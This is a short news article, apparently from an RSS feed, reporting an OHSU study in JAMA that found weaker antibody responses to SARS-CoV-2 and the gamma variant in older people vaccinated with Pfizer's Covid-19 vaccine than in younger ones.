										<content:encoded><![CDATA[<p>A new study conducted by a team of researchers from the Oregon Health and Science University (OHSU) has stated that older people, including those vaccinated against the coronavirus disease (Covid-19), appear to have fewer antibodies against SARS-CoV-2, thus making them potentially more susceptible to various variants of the virus.</p>
<p>The older population is more susceptible to the variants even if vaccinated,&#8221; senior author Fikadu Tafesse, an assistant professor at OHSU&#8217;s School Of Medicine, said of the study, which was published in the Journal of the American Medical Association.</p>
<p>For their study, the researchers measured the immune response in the blood of 50 people two weeks after they received their second and final dose of Pfizer&#8217;s Covid-19 vaccine. The participants were grouped on the basis of age groups and their blood serum, contained in test tubes, was exposed to the original SARS-CoV-2 virus, as well as to the P.1 variant, which is also called gamma, and was first found in Brazil.</p>
<p>The study found that the youngest group (all participants in their 20s) had a nearly seven-fold in antibody response as compared to that in the oldest group (participants between 70 and 82 years of age), prompting the team to conclude that &#8220;the younger a participant, the more robust the antibody response.&#8221;</p>
